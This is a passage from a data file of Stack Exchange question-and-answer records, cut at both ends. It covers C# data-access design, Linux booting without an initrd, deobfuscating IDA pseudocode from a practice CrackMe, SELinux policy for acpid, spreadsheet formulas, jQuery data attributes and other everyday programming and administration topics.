ColorDao { get; } //Size Dao interface that must be implemented by each provider ISizeDao SizeDao { get; } //Category Dao interface that must be implemented by each provider ICategoryDao CategoryDao { get; } //File Dao interface that must be implemented by each provider IFileDao FileDao { get; } //File Error Dao that must be implemented by each interface IFileErrorDao FileErrorDao { get; } }}Then I have also this Interface using BusinessObjects;using System.Collections.Generic;namespace DataObjects{ public interface ICategoryDao { //Gets a list of categories List<Category> GetCategories(); //Inserts one category void InsertCategory(Category category); //To verify if category exists bool CategoryExists(string category); //Get Category by name Category GetCategoryByName(string category); }}And now, in the EntityFramework namespace I have the following implementationsnamespace DataObjects.EntityFramework{ // Data access object factory // ** Factory Pattern public class DaoFactory : IDaoFactory { public IProductDao ProductDao => new ProductDao(); public IColorDao ColorDao => new ColorDao(); public ISizeDao SizeDao => new SizeDao(); public ICategoryDao CategoryDao => new CategoryDao(); public IFileDao FileDao => new FileDao(); public IFileErrorDao FileErrorDao => new FileErrorDao(); }}DaoCategory implementationusing AutoMapper;using System.Collections.Generic;using System.Linq;using BusinessObjects;namespace DataObjects.EntityFramework{ // Data access object for Product // ** DAO Pattern public class CategoryDao : ICategoryDao { /// <summary> /// Inserts category into database /// </summary> /// <param name=category></param> public void InsertCategory(Category category) { using (var context = new ExamContext()) { Mapper.Initialize(cfg => cfg.CreateMap<Category, CategoryEntity>()); var entity = Mapper.Map<Category, CategoryEntity>(category); context.CategoryEntities.Add(entity); context.SaveChanges(); // update business object with new id category.Id = entity.Id; } } /// <summary> /// Gets all categories from database /// </summary> /// <returns>Returns a list of Category</returns> public List<Category> GetCategories() { using (var context = new ExamContext()) { Mapper.Initialize(cfg => cfg.CreateMap<CategoryEntity, Category>()); var categories = context.CategoryEntities.ToList(); return Mapper.Map<List<CategoryEntity>, List<Category>>(categories); } } /// <summary> /// Verifies if one category name exists /// </summary> /// <param name=category>Category name</param> /// <returns>Returns true if exists</returns> public bool CategoryExists(string category) { using (var context = new ExamContext()) { return context.CategoryEntities.Any(x => x.CategoryName == category); } } /// <summary> /// Gets color by name /// </summary> /// <param name=categoryName>color name</param> /// <returns>Category</returns> public Category GetCategoryByName(string categoryName) { using (var context = new ExamContext()) { Mapper.Initialize(cfg => cfg.CreateMap<CategoryEntity, Category>()); var category = context.CategoryEntities.FirstOrDefault(x => x.CategoryName == categoryName); return Mapper.Map<CategoryEntity, Category>(category); } } }}" , "title": "Simple CRUD application with n layered architecture" , "tags": "c#;entity framework" , "accepted_answer": "The problem is that Entity Framework's DbContext is really a unit of work. By newing them up inside each method you lose the ability to do several interesting things in the same transaction/unit of work in an easy way. You should be able to have multiple repositories (Dao in your parlance) using the same context/unit of work.Your code is also incredibly coupled to EF and you're violating the dependency inversion principle.This is the best write up of DbContext lifetime that I've ever read: Managing DbContext the right way with Entity Framework 6: an in-depth guide. Although you're not actually using any of the 3 main patterns discussed. If that Mapper is Automapper, that's also the wrong place to be configuring it and is a conflation of concerns." } { "id": "_unix.9451" , "question": "Is it possible to boot linux without a initrd.img ? I am planning to add default drivers as a part-of-kernel itself and avoid initrd completely.What are the modules that should be made part-of-the-kernel instead of loadable modules ?" , "title": "Booting without initrd" , "tags": "linux;kernel;boot;kernel modules;initrd" , "accepted_answer": "It is, unless your root volume is on an LVM, on a dmcrypt partition, or otherwise requires commands to be run before it can be accessed.I haven't used an initrd on my server in years. You need at a minimum these modules built in:the drivers of whatever controller where your root volume disk livesthe drivers necessary to get to that like PCI, PCIe support, USB support, etc.the modules that run the filesystem mounted on it It's also a very good idea to build in your network card drivers as well.I've found that lspci/lsmod can help you here from your currently running kernel, look at what's there and use the make menuconfig search option before compiling to find where to enable the modules." } { "id": "_reverseengineering.5839" , "question": "I have wanted to get into the art of reverse engineering for quite some time now, so I took a look at a few online lessons (such as opensecuritytraining.info) and also got my hands on IDA Pro.Obviously, since this is a complex topic, I was overwhelmed by registers, pointers, instructions et cetera. I know assembler and C fairly well, it's just (like I said earlier) a topic where you have to learn much.Now to my actual question: I have downloaded a CrackMe-Program and started debugging it. Basically the objective is to find a key which you then have to enter into a Textbox in the program. I found the key checking function fairly easily and identified some logic, but I can't wrap my head around how the program actually compares the string. My C skills are much greater than my Assembler skills, so I decided to get some Pseudocode printed. The problem is that the Pseudocode is pretty messy (I'm guessing that's because of compiler optimizations) and I basically can't understand what this piece of code is supposed to do.Here is the code (sorry it's a bit long):int __usercall TSDIAppForm_Button1Click<eax>(int a1<eax>, int a2<ebx>, int a3<edi>, int a4<esi>){ int v4; // ebx@1 int v5; // esi@1 int v6; // eax@1 signed int v7; // eax@3 signed int v8; // edx@3 int v9; // ebx@3 int v11; // edx@12 int v12; // [sp-24h] [bp-34h]@1 int (*v13)(); // [sp-20h] [bp-30h]@1 int *v14; // [sp-1Ch] [bp-2Ch]@1 int v15; // [sp-18h] [bp-28h]@1 int (*v16)(); // [sp-14h] [bp-24h]@1 int *v17; // [sp-10h] [bp-20h]@1 int v18; // [sp-Ch] [bp-1Ch]@1 int v19; // [sp-8h] [bp-18h]@1 int v20; // [sp-4h] [bp-14h]@1 int v21; // [sp+0h] [bp-10h]@1 int v22; // [sp+4h] [bp-Ch]@1 int v23; // [sp+8h] [bp-8h]@2 void (__fastcall *v24)(int); // [sp+Ch] [bp-4h]@7 int v25; // [sp+10h] [bp+0h]@1 v22 = 0; v21 = 0; v20 = a2; v19 = a4; v18 = a3; v5 = a1; v17 = &v25; v16 = loc_45C6FD; v15 = *MK_FP(__FS__, 0); *MK_FP(__FS__, 0) = &v15; JUMPOUT(Controls__TControl__GetTextLen(*(_DWORD *)(a1 + 872)), 0xFu, *(unsigned int *)j); v6 = Controls__TControl__GetTextLen(*(_DWORD *)(a1 + 872)); System____linkproc___DynArraySetLength(v6); System____linkproc___DynArraySetLength(664); v14 = &v25; v13 = loc_45C699; v12 = *MK_FP(__FS__, 0); *MK_FP(__FS__, 0) = &v12; v4 = 0; do { Controls__TControl__GetText(*(_DWORD *)(v5 + 872), &v21, v12); *(_DWORD *)(v23 + 4 * v4) = *(_BYTE *)(v21 + v4 - 1); ++v4; } while ( v4 != 16 ); v8 = 1; v9 = 0; v7 = 4585384; do { if ( v8 == 16 ) v8 = 1; *(_BYTE *)(v22 + v9++) = *(_BYTE *)v7++ ^ *(_BYTE *)(v23 + 4 * v8++); } while ( v9 != 665 ); v24 = (void (__fastcall *)(int))v22; // I know the key to success lies here, but I can't figure out what this if is supposed to do if ( *(_BYTE *)v22 != 96 || *(_BYTE *)(v22 + 4) != 208 || *(_BYTE *)(v22 + 9) ) MessageBoxA_0(0, Invalid Key, Error, 0); else v24(v22); *MK_FP(__FS__, 0) = v12; v11 = v15; *MK_FP(__FS__, 0) = v15; System____linkproc___LStrClr(&v21, v11, 4572932); System____linkproc___DynArrayClear(&v22, off_45C568); return System____linkproc___DynArrayClear(&v23, off_45C548);}I would appreciate it if someone could give me advice on how to deobfuscate this piece of code. Are there any plugins available to do this? Is there a special technique that I can use to figure it out? Would it be better to look at the Assembler code instead of the Pseudocode?I especially wonder where these weird constants (like 872 for example) come from.Answers would be highly appreciated." , "title": "Deobfuscating IDA Pseudocode" , "tags": "ida;decompilation;deobfuscation" , "accepted_answer": "IDA Pro is no magic tool to automatically decompile binaries to their source code. The decompiler output should not be relied every time (as compiling leads to loss of information) although IDA boasts of the finest decompiler available. Instead focus on the disassembly listing. For specific parts, you can use the decompiler output as your reference.Deobfuscation is a multi-step process. First try to understand the usages of variables, structures, etc and then give them a more easy-to-understand names reflecting their purpose. In many cases you can understand the variables purposes by just noting how it is used in function calls. For example Vcl.Controls.TControl.GetTextLen returns the length of the control's text. That means among the parameters passed, one must be the a pointer to the TControl. You can use this information to rename variables.In case of VCL binaries, Interactive Delphi Reconstructor, will give you more easy-to-understand disassembly, as it is geared for that purpose. IDR also has a somewhat very limited decompilation capability.For better understanding IDA Pro and its myriad of features, I would recommend to go through these two books The IDA Pro Book and Reverse Engineering Code with IDA Pro " } { "id": "_unix.35761" , "question": "How can I write a script that basically just runs pkill -HUP inetd? I want to restart inetd via a script so I can schedule it to run at a particular time. I tried to write it myself, but I'm getting a Hangup error." , "title": "How to pkill from a script?" , "tags": "bash;shell;command line;shell script;dash" } { "id": "_unix.200031" , "question": "I'm using Centos7 minimal. I've installed acpid and the daemon is running.When I hit the power button, I get the following in /var/log/messagesMay 2 18:52:53 localhost systemd-logind: Power key pressed.May 2 18:52:53 localhost systemd: SELinux policy denies access.and in /var/log/audit/audit.log:type=USER_AVC msg=audit(1430589539.562:468): pid=815 uid=81 auid=4294967295 ses=4294967295 subj=system_u:system_r:system_dbusd_t:s0-s0:c0.c1023 msg='avc: denied { send_msg } for msgtype=method_call interface=org.freedesktop.DBus.Properties member=Get dest=org.freedesktop.systemd1 spid=4177 tpid=1 scontext=system_u:system_r:apmd_t:s0 tcontext=system_u:system_r:init_t:s0 tclass=dbus exe=/usr/bin/dbus-daemon sauid=81 hostname=? addr=? terminal=?'type=USER_AVC msg=audit(1430589539.571:469): pid=815 uid=81 auid=4294967295 ses=4294967295 subj=system_u:system_r:system_dbusd_t:s0-s0:c0.c1023 msg='avc: denied { send_msg } for msgtype=method_call interface=org.freedesktop.DBus.Properties member=Get dest=org.freedesktop.systemd1 spid=4182 tpid=1 scontext=system_u:system_r:apmd_t:s0 tcontext=system_u:system_r:init_t:s0 tclass=dbus exe=/usr/bin/dbus-daemon sauid=81 hostname=? addr=? terminal=?'type=USER_AVC msg=audit(1430589539.586:470): pid=1 uid=0 auid=4294967295 ses=4294967295 subj=system_u:system_r:init_t:s0 msg='avc: denied { start } for auid=-1 uid=0 gid=0 path=/usr/lib/systemd/system/poweroff.target scontext=system_u:system_r:apmd_t:s0 tcontext=system_u:object_r:power_unit_file_t:s0 tclass=service exe=/usr/lib/systemd/systemd sauid=0 hostname=? addr=? terminal=?'Piping that through audit2why gives the following output:type=USER_AVC msg=audit(1430589539.562:468): pid=815 uid=81 auid=4294967295 ses=4294967295 subj=system_u:system_r:system_dbusd_t:s0-s0:c0.c1023 msg='avc: denied { send_msg } for msgtype=method_call interface=org.freedesktop.DBus.Properties member=Get dest=org.freedesktop.systemd1 spid=4177 tpid=1 scontext=system_u:system_r:apmd_t:s0 tcontext=system_u:system_r:init_t:s0 tclass=dbus exe=/usr/bin/dbus-daemon sauid=81 hostname=? addr=? terminal=?' Was caused by: Missing type enforcement (TE) allow rule. You can use audit2allow to generate a loadable module to allow this access.type=USER_AVC msg=audit(1430589539.571:469): pid=815 uid=81 auid=4294967295 ses=4294967295 subj=system_u:system_r:system_dbusd_t:s0-s0:c0.c1023 msg='avc: denied { send_msg } for msgtype=method_call interface=org.freedesktop.DBus.Properties member=Get dest=org.freedesktop.systemd1 spid=4182 tpid=1 scontext=system_u:system_r:apmd_t:s0 tcontext=system_u:system_r:init_t:s0 tclass=dbus exe=/usr/bin/dbus-daemon sauid=81 hostname=? addr=? terminal=?' Was caused by: Missing type enforcement (TE) allow rule. You can use audit2allow to generate a loadable module to allow this access.type=USER_AVC msg=audit(1430589539.586:470): pid=1 uid=0 auid=4294967295 ses=4294967295 subj=system_u:system_r:init_t:s0 msg='avc: denied { start } for auid=-1 uid=0 gid=0 path=/usr/lib/systemd/system/poweroff.target scontext=system_u:system_r:apmd_t:s0 tcontext=system_u:object_r:power_unit_file_t:s0 tclass=service exe=/usr/lib/systemd/systemd sauid=0 hostname=? addr=? terminal=?' Was caused by: Missing type enforcement (TE) allow rule. You can use audit2allow to generate a loadable module to allow this access.And finally, piping the audit to audit2allow -lar gives me:require { type power_unit_file_t; type init_t; type apmd_t; class dbus send_msg; class service start;}#============= apmd_t ==============allow apmd_t init_t:dbus send_msg;allow apmd_t power_unit_file_t:service start;I'm not sure what to do next. How can I get from the output above to an active selinux policy?" , "title": "Where to put the SElinux policy to allow acpid shutdown the system?" , "tags": "security;selinux;acpid" } { "id": "_webapps.98999" , "question": "I can access the photos that I sent through Hangouts album but what about the photos received from my friend through Hangouts? Where this photo will be stored? Is it not possible to access to this photo (received) other than downloading it?" , "title": "Photos received through Hangouts" , "tags": "google hangouts" } { "id": "_unix.287545" , "question": "Any quick ideas on how to write a program that extends the terminal's basic functionality? I want to do everything the terminal does but additionally do some custom processing on whatever the user types on my terminal derivative." , "title": "Extending Linux terminal Program" , "tags": "bash;terminal;gnome terminal" } { "id": "_softwareengineering.244348" , "question": "I was creating and discussing a class diagram with a partner of mine. To simplify things, I've modify the real domain we're working on and made up the following diagram:Basically, a company works on constructions that are quite different one from each other but are still constructions. Note I've added one field for each class but there should be many more.Now, I thought this was the way to go but my partner told me that if in the future new construction classes appear we would have to modify the Company class, which is correct. So the new proposed class diagram would be this:Now I've been wondering:Should the fact that in no place of the application will there be mixed lists of planes and bridges affect the design in any way?When we have to list only planes for a company, how are we supposed to distinguish them from the other elements in the list without checking for their class names?Related to the previous question, is it correct to assume that this type of diagram should be high-level and this is something it shouldn't matter at this stage but rather be thought and decided at implementation time?Any comment will be appreciated." , "title": "What alternative is better to diagram this scenario?" , "tags": "object oriented;inheritance;class diagram" , "accepted_answer": "First and foremost, the models are highly dependent of the business domain so, since you have changed it, it might be that my answer fits the question but not your real domain.Depends of what the relationship means. An inventory of company or construction projects currently active would be examples where the relationship with AbstractProject would be understandable.I would do, so. Of course, your language might make it difficult and you might find it easier to add a type attribute to AbstractProject. (Not good because it breaks the open/closed principle).As, outside 1 & 2, I think that Plane and Bridge have so few things it common that probably you should skip the abstract class altogether. Of course, that would complicate the model, since know you either have two relationships with company (bad for the open/closed principle, if you end producing also Car), or you have to add another middle class (ConstructionProject), which is what I would do.No, it is not high level, free to change. It is the data that you pass to the code-monkeys so they do their job, and the data that you pass to other teams that must develop SW to use your system, so you have to stick with it.That does not forbid you from modifying it if you see that it does not really adapt to your needs, but those modifications in the code must be approved, reflected in the UML, and communicated. Depending of your project management phylosophy, they would be interpreted as mistakes or refinements of your original model." } { "id": "_codereview.68999" , "question": "I'm going to be opensourcing some code I'm working on. I don't need help with the code, I just want to make sure my code is readable and my comments make sense. I have a knack for the esoteric. This code is to control GE G35 Christmas lights using a Netduino controller. Due to the .NET overhead, I've written a custom lower-level driver compiled into the firmware.Can you follow my code? This is on an embedded processor which is why I'm doing a lot of bit-shifting. It's easier to write this way. public Int32[,] getData() { int maxBulbs = getMaxBulbs(); // Using an abdnormal form of bitpacking here to make the C loop, very tight and efficient. // The first address of the array is the bulb position on all strings. // The second address of the array is actually the corresponding bulb information for that bit. // Within the array, we store a 32-bit int. Each bit in this int, represents a G35 Strand/string // So at data[0, 0] we have a 32 bit int, this int represents the first bulb on all strings, first data information bit for up to 32 strands. Int32[,] data = new Int32[getMaxBulbs(), 26]; // number bulbs on a strand, 26 bit bulb info foreach (G35String gstring in Strings) { for (short c_bulb = 1; c_bulb < maxBulbs; c_bulb++) { // This is a bit of a shortcut. because we know that G35's just pass the information down // the pipe and due to the way we are sending data in parallel, if one string has // more bulbs than another, we just send fake data to the non existent bulb on that string G35Bulb gbulb = (c_bulb < gstring.bulbs.Length ? gstring.bulbs[c_bulb] : new G35Bulb(0, 0)); // bulb address data[c_bulb, 0] = (c_bulb & 0x20) << gstring.StringPinAddress; data[c_bulb, 1] = (c_bulb & 0x10) << gstring.StringPinAddress; data[c_bulb, 2] = (c_bulb & 0x08) << gstring.StringPinAddress; data[c_bulb, 3] = (c_bulb & 0x04) << gstring.StringPinAddress; data[c_bulb, 4] = (c_bulb & 0x02) << gstring.StringPinAddress; data[c_bulb, 5] = (c_bulb & 0x01) << gstring.StringPinAddress; // bulb brightness data[c_bulb, 6] = (gbulb.BulbBrightness & 0x80) << gstring.StringPinAddress; data[c_bulb, 7] = (gbulb.BulbBrightness & 0x40) << gstring.StringPinAddress; data[c_bulb, 8] = (gbulb.BulbBrightness & 0x20) << gstring.StringPinAddress; data[c_bulb, 9] = (gbulb.BulbBrightness & 0x10) << gstring.StringPinAddress; data[c_bulb, 10] = (gbulb.BulbBrightness & 0x08) << gstring.StringPinAddress; data[c_bulb, 11] = (gbulb.BulbBrightness & 0x04) << gstring.StringPinAddress; data[c_bulb, 12] = (gbulb.BulbBrightness & 0x02) << gstring.StringPinAddress; data[c_bulb, 13] = (gbulb.BulbBrightness & 0x01) << gstring.StringPinAddress; // Blue data[c_bulb, 14] = (gbulb.BulbColor >> 8 & 0x8) << gstring.StringPinAddress; data[c_bulb, 15] = (gbulb.BulbColor >> 8 & 0x4) << gstring.StringPinAddress; data[c_bulb, 16] = (gbulb.BulbColor >> 8 & 0x2) << gstring.StringPinAddress; data[c_bulb, 17] = (gbulb.BulbColor >> 8 & 0x1) << gstring.StringPinAddress; // Green data[c_bulb, 18] = (gbulb.BulbColor >> 4 & 0x8) << gstring.StringPinAddress; data[c_bulb, 19] = (gbulb.BulbColor >> 4 & 0x4) << gstring.StringPinAddress; data[c_bulb, 20] = (gbulb.BulbColor >> 4 & 0x2) << gstring.StringPinAddress; data[c_bulb, 21] = (gbulb.BulbColor >> 4 & 0x1) << gstring.StringPinAddress; // Red data[c_bulb, 22] = (gbulb.BulbColor & 0x8) << gstring.StringPinAddress; data[c_bulb, 23] = (gbulb.BulbColor & 0x4) << gstring.StringPinAddress; data[c_bulb, 24] = (gbulb.BulbColor & 0x2) << gstring.StringPinAddress; data[c_bulb, 25] = (gbulb.BulbColor & 0x1) << gstring.StringPinAddress; } } return data; }In the C++ driver, I can blast all the registers I need like this in parallel:// LED AddresssendBits(data[i][0]);sendBits(data[i][1]);sendBits(data[i][2]);sendBits(data[i][3]);sendBits(data[i][4]);sendBits(data[i][5]);void sendBits(uint16_t gpioPins, uint32_t data){ *_BSRRL = gpioPins; delayMicroseconds(DELAYSHORT); // 10us *_BSRRH = gpioPins; delayMicroseconds(DELAYSHORT); // 10us *_BSRRL = ~data; delayMicroseconds(DELAYSHORT); // 10us *_BSRRL = gpioPins;}" , "title": "Embedded C# bitpacked arrays to low-level STM32F4 driver for GE G35 RGB LED Christmas tree light" , "tags": "c#;.net;bitwise;embedded;device driver" } { "id": "_webmaster.53287" , "question": "I'm planning to add an XML Sitemap to a client's existing website. According to this, it will help define the difference between the root website (aimed at UK) and the US website (aimed at the United States) and a few other languages/locales.Is it enough to add only this to the sitemap or will Google punish me for not adding all pages in there? The content changes quite often and we don't have a way to deal with updating the XML regularly at this point. Also the existing content is well indexed on Google already, it's just the concern about multiple pages in English that's behind this." , "title": "Do all pages have to be added to XML Sitemaps?" , "tags": "seo;xml sitemap;language;hreflang" , "accepted_answer": "Google's John Mueller has answered the question should I include every single page of my blog in the Sitemap (including tag pages and the date-based archives) or just the important ones?:Its always a good idea for your XML Sitemap file to include all pages which you want to have indexed. While he says that it is a good idea it shouldn't be necessary. Google uses sitemaps primarily for URL discovery. If Googlebot can discover URLs by crawling your website, those URLs wouldn't have to be in a sitemap. URLs excluded from the sitemap wouldn't get any of the other side benefits such as:Recognizing preferred URLs for canonicalizationBeing included in the indexed URL count in webmaster tools (WMT)Getting prioritized in the list of crawl errors in WMT" } { "id": "_opensource.2224" , "question": "For my OSS project, is it a good idea to release the brand assets under a CC license?I want to make it easy for people to use the logo for blogs/articles talking about the product and derivatives for forks of the project, but I also want to keep some restriction on it so it doesn't look like the official project is endorsing another branch/unofficial forum/paid service/etc. is clearly not associated with the project.It seems as trademark with usage guidelines would be the best, but it's unrealistic to trademark a name for a project that I cannot guarantee success. I could, in theory, keep the copyright and license it under another license (any recommendations?) that allows the uses specified above. Is this a good idea?I technically did derive the logo from a CC0 public domain image, but it has very little resemblance (it's a common icon, but the trademark identity is in the exact colors and shapes). I changed the shape, orientation, colors, and outlines; I think it's unique enough for copyright protection." , "title": "How should I license my project's logo?" , "tags": "licensing;license recommendation;trademark;logos" } { "id": "_webmaster.21298" , "question": "I started to develop my own webdesign using an grid framework 960 CSS Framework and also noticed that most of other famous css grid frameworks use 940/960px as maximum page width? Some of them have an online generators where you can calculate and generate the same framework but for different width size.Can you tell me why they suggest 960 px as default? And more important: Why everything is measured in pixels rather than pt, cm, % or any other css units?Edit: Isn't it better to use 'in' as css unit and be sure that on every screen (computer, smartphone) it will have the same size?P.S. Some other grid css frameworks:BlueprintYUI 2: Grids CSSBootstrapSkeleton" , "title": "Most CSS Grid frameworks use pixel as css units, why?" , "tags": "css;web development;grid;website design" } { "id": "_webapps.43208" , "question": "I created a Google Spreadsheet file which I want to share with my coworkers so each one has his own copy. So far the only way I found is to share the file, however these doesn't work for me because each coworker has his own information, and the information used in the file is not for collaboration.Is there a way to send a copy of the file so that each one has his own copy, like the way you would send an excel file over email so that everyone would have their own copy?Thanks." , "title": "Share individual copies of a Google spreadsheet" , "tags": "google drive;google spreadsheets;google apps" } { "id": "_webapps.91066" , "question": "I am looking for a formula to generate a moving average of the last two weeks OR the last 10 data points (whichever produces more data points) conditional upon the presence of data in two other columns. Example.I want to calculate:The average of column $K for the past two weeks (from today's date) OR the past ten data points (whichever is a larger data set) when column $G=HenkkyG and column $U=LAN. Effectively I want Player HenkkyG's average over the past two weeks or 10 games (data points).I am currently using this formula for overall average:=IFERROR(AVERAGEIF($G:$G,AF2,$K:$K)) where AF2=player name I am drawing data for." , "title": "Conditional moving average: the last two weeks or over 10 data points" , "tags": "google spreadsheets" , "accepted_answer": "This can be done with a few filter commands. To filter by columns G and U: =filter(B2:K, (G2:G = HenkkyG) * (U2:U = LAN))(Here, multiplication is logical, meaning AND). To filter the scores by either within 14 days or among the last 10, the condition would be: =filter(K2:K, (B2:B >= today()-14) + (rank(B2:B, B2:B, false) <= 10)) Here + is logical OR, and the rank is in descending order, picking the 10 largest entries from the date column. It remains to combine these. In the interest of maintainability, it may be best to do things separately (perhaps on another sheet): apply the first filter, and then use the second on its output. But it's possible to do everything in one formula, it just looks scary: the first filter is applied to each column appearing in the second filter.=filter(filter(K2:K, (G2:G = HenkkyG) * (U2:U = LAN)), (filter(B2:B, (G2:G = HenkkyG) * (U2:U = LAN)) >= today()-14) + (rank(filter(B2:B, (G2:G = HenkkyG) * (U2:U = LAN)), filter(B2:B, (G2:G = HenkkyG) * (U2:U = LAN)), false) <= 10)) This is not the kind of formulas that I would want to deal with in a spreadsheet inherited from someone else. " } { "id": "_codereview.82628" , "question": "I'm looking for some help on how I can optimize adding multiple data attribute tags to elements, and really, any feedback at all.BackgroundClient uses a analytics tool through a tag management application (Ensighten) that picks-up data attributes when links are clicked. I'm adding attributes when the DOM is ready to provide them with more information about what people are clicking, where they are clicking, etc.init.jsHere is an example of my init.js file (Ensighten wraps this in a IIFE):// global namespacewindow.analytics = window.analytics || {};window.analytics.heatmapping = window.analytics.heatmapping || {};window.analytics.heatmapping.header = { logo: function () { var $this = jQuery(this), name = $this.closest('ul.navL2').prev().text(), type = $this.attr('alt'), title = $this.attr('title'); window.analytics.utilities.setDataAttributes($this, { 'region': 'header', 'name': name, 'type': type, 'title': title, 'index': '1' }); } // ... more below,};// initializingjQuery('.top a').each(window.analytics.heatmapping.header.logo);utilities.jsI have another custom javascript tag that houses all of the utility functions that we can reuse. This is where the setDataAttributes function is kept. Here is the setDataAttributes function with its supporting functions. /** * Set data attributes on an element * @param {object} element A jQuery object, typically we'll pass jQuery(this). * @param {object} dataAttributes The data attributes we wish to set */window.analytics.utilities.setDataAttributes = function (element, dataAttributes) { var util = window.analytics.utilities, dataAnalyticsTagAttributes, if (util.hasDataAnalyticsTag(element)) { dataAnalyticsTagAttributes = util.parseDataAnalyticsTag(element); // merge objects $.extend(dataAttributes, dataAnalyticsTagAttributes); } dataAttributes = util.prefixAndTrimProperties(dataAttributes); element.attr(dataAttributes);};/** * Prefixes the incoming objects keys with 'data-' and trims objects values * @param {object} dataAttributes * @return {object} dataAttributeWithPrefix */window.analytics.utilities.prefixAndTrimProperties = function (dataAttributes) { var util = window.analytics.utilities, dataAttributesWithPrefix = {}, dataKeyWithPrefix, dataKey, dataValue for (dataKey in dataAttributes) { if (dataAttributes.hasOwnProperty(dataKey)) { // prefix key with data- and trim value dataKeyWithPrefix = util.addPrefixToKey(dataKey) dataValue = jQuery.trim(dataAttributes[dataKey]); // returns new prefixed and clean property in dataAttributesWithPrefix object dataAttributesWithPrefix[wedcsKeyWithPrefix] = dataValue; } } return dataAttributesWithPrefix;};/** * Determines if input element has the data-analytics tag attibute * @param {object} element jQuery(this) * @return {Boolean} */window.analytics.utilities.hasDataAnalyticsTag = function(element) { return element.is('[data-analyticstag]');};/** * adds the 'data-' prefix to the input string * @param {string} key The objects key it currently iterating on. * @return {string} */window.analytics.utilities.addPrefixToKey = function (key) { return 'data-' + key;}/** * Parses the data-analytics attribute on * @param {object} element A jQuery object, typically we'll pass jQuery(this). * @return {object} An object with the properties index, linktype and cmpgrp */window.analytics.utilities.parseDataAnalyticsTag = function (element) { var dataAnalyticsAttributeArray = element.attr('data-analyticstag').split('_'); return { 'index': dataAnalyticsAttributeArray[4].match(/\\d$/), 'type': dataAnalyticsAttributeArray.splice(0, 4).join(':'), 'region': dataAnalyticsAttributeArray[3] };};Let me explain what the setDataAttributes function does:it takes two arguments: element and dataAttributes (an object)it checks to see if the element has a dataAnalytics tag (some links have a data-analytics tag that we can get some values from)if the element does have the data-analyticstag, then we parse it and return an object (see parseDataAnalyticsTag) and merge it with the original dataAttributes object.Next, we take the dataAttributes object and pass it into another function prefixAndTrimProperties where we prefix each key with 'data-' and trim each value, this function returns an object.we take the returned object and pass it into element.attr(dataAttributes) where it then sets the data attributes for that specific element.QuestionsI'm currently reading Clean Code by Robert C. Martin, and I'm attempting to apply some of his practices around naming and functions - haven't made it to the rest of the book yet. How does my naming look? I'm a little lost on the prefixAndTrimProperties function. In his book he states that you only want the function to do one thing, and my function is doing two - at least.Am I splitting up my functions in a way that are more testable? For example, is it really necessary to just have a function like hasDataAnalyticsTag return true or false? How granular should I be getting? Is it overkill?Any other advice?" , "title": "Add multiple data attributes to elements using jQuery" , "tags": "javascript;jquery" , "accepted_answer": "I'm a little lost on the prefixAndTrimProperties function. In [Martin's] book he states that you only want the function to do one thing, and my function is doing two - at least.It's true that a function should ideally only do one thing. But what constitutes one thing is somewhat debatable. For instance, if you instead call your function prepareProperties then its one thing is to, well, prepare a properties object. That's an operation that counts as one thing in your context. Yes, it entails both trimming values and prefixing keys, but that's an implementation detail.Am I splitting up my functions in a way that are more testable? For example, is it really necessary to just have a function like hasDataAnalyticsTag return true or false? How granular should I be getting? Is it overkill?Probably a little overkill, yes. But I'm more concerned about its use - or lack thereof. In parseDataAnalyticsTag you don't use it, meaning you may get an exception: element.attr('data-analyticstag').split('_') will fail if the attribute doesn't exist, since attr() will returned undefined, which you can't split.In fact, I'd say it'd be easier to simply call parseDataAnalyticsTag and have it return null or an empty object if there's no attribute to parse. Right now, you've split it into checking and parsing, but - as far as I can tell - you only need to check if you want to parse. And if you want to parse, you need to check. So that's one thing.So, how granular should it be? Enough to keep the code DRY. If you find yourself repeating something, extract it into a function. Conversely, combine dependent/sequential steps into a function, and call that one thing.By the way, there's a hint that you may be too diligent in splitting things up. The comments for addPrefixToKey say// @param {string} key The objects key it currently iterating on.Who said anything about an object? Or iteration? Or a key for that matter? The function just takes an argument - any argument, really - and prepends data- to it. That's it. Its name and comments indicate that it was intended for or extracted from a very specific context, but the function itself really doesn't care. But if its intended use-case is so specific, it probably shouldn't be a separate function at all.As to the code itself:You're exposing all your functions in the window.analytics.utilities object, though you seem to only use one: setDataAttributes. So that's your API; the rest is - viewed from the outside - implementation details.I'm also not a big fan of the parseDataAnalyticsTag function. For one, its @return comment lies: The object does not contain index, linktype and cmpgrp properties - it contains index, type and region. Boo.It's also fragile and fairly tricky to follow, despite its short length. As mentioned, you assume that the attribute exists when you call split, but after that, you also assume that there are at least 8 elements in the resulting array. And the use of splice instead of slice makes it hard to keep track of indices, and requires things to happen in the right order. I.e. the region value is actually index 7 - not 3 - in the original array, so it only works because you've used splice.Lastly, setDataAttributes has side effects: You're modifying the dataAttributes object you're given. It's ok for the usage you've got right now, since you're not keeping a reference to the object on the caller's side, but it's icky nonetheless.Suggestions:I'd consider making this a jQuery plugin. You're depending on jQuery anyway.Something like this, perhaps (note: incomplete implementation)// get any existing attributes from the `data-analyticstag` attribute (if present)function analyticsTagAttributes(element) { // ... see current implementation, and all the stuff above ...}// Prefixes keys, and trims valuesfunction prepareAttributes(object) { var key, prepared = {}; for(key in object) { if(object.hasOwnProperty(key)) { prepared[data- + key] = $.trim(object[key]); } } return prepared;}// extend jQuery$.fn.extend({ setAnalyticsAttributes: function (attributes) { return this.each(function () { var prepared = prepareAttributes(attributes), existing = analyticsTagAttributes(this) || {}, merged = $.extend(existing, prepared); $(this).attr(merged); }); }});With that, you can simply call$(elementOrSelector).setAnalyticsAttributes({ region: 'header', name: name, type: type, title: title, index: '1'});Or, if you want to mimic jQuery, you make it a analytics function, so you can use it much like .attr():$(elementOrSelector).analytics() // returns existing values$(elementOrSelector).analytics(obj) // sets values" } { "id": "_unix.83773" , "question": "I want to play the game Aquaria in a Debian Wheezy 64 bits. The installation went ok, but when trying to play the game I get these errors:ALSA lib conf.c:3314:(snd_config_hooks_call) Cannot open shared library libasound_module_conf_pulse.soALSA lib control.c:951:(snd_ctl_open_noupdate) Invalid CTL hw:0AL lib: alsa.c:1000: control open (0): No such file or directoryMessage: SDL_GL_LoadLibrary Error: Failed loading libGL.so.1I have added 32 bit compatibility with dpkg --add-architecture i386 and I think that the required libraries are present in the system since typing locate libasound_module_conf_pulse.so yields:/usr/lib/x86_64-linux-gnu/alsa-lib/libasound_module_conf_pulse.soand locate 